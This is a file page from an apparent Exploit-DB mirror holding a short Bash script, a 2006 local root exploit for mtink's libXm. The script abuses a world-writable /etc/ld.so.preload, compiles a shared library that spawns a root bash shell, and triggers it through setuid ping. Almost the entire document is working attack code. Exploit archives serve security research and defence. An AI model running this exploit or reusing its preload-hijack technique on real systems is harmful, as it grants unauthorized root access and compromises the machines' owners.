exploit-db-mirror/exploits/linux/local/2144.sh
Offensive Security 36c084c351 DB: 2021-09-03
45419 changes to exploits/shellcodes

2 new exploits/shellcodes

Too many to list!
2021-09-03 13:39:06 +00:00

26 lines
No EOL
502 B
Bash
Executable file

#!/bin/sh
echo
echo "mtink libXm local root exploit"
echo "* karol@wiesek.pl *"
echo
umask 000
export DEBUG_FILE="/etc/ld.so.preload"
cat > /tmp/lib.c << _EOF
#include <unistd.h>
void _init(void)
{
if (getuid()!=0 && geteuid()==0)
{
setuid(0);
unlink("/etc/ld.so.preload");
execl("/bin/bash", "bash", 0);
}
}
_EOF
/usr/bin/gcc -o /tmp/lib.o -c /tmp/lib.c
/usr/bin/ld -shared -o /tmp/lib.so /tmp/lib.o
/usr/bin/mtink
echo "/tmp/lib.so" > /etc/ld.so.preload
/bin/ping
# milw0rm.com [2006-08-08]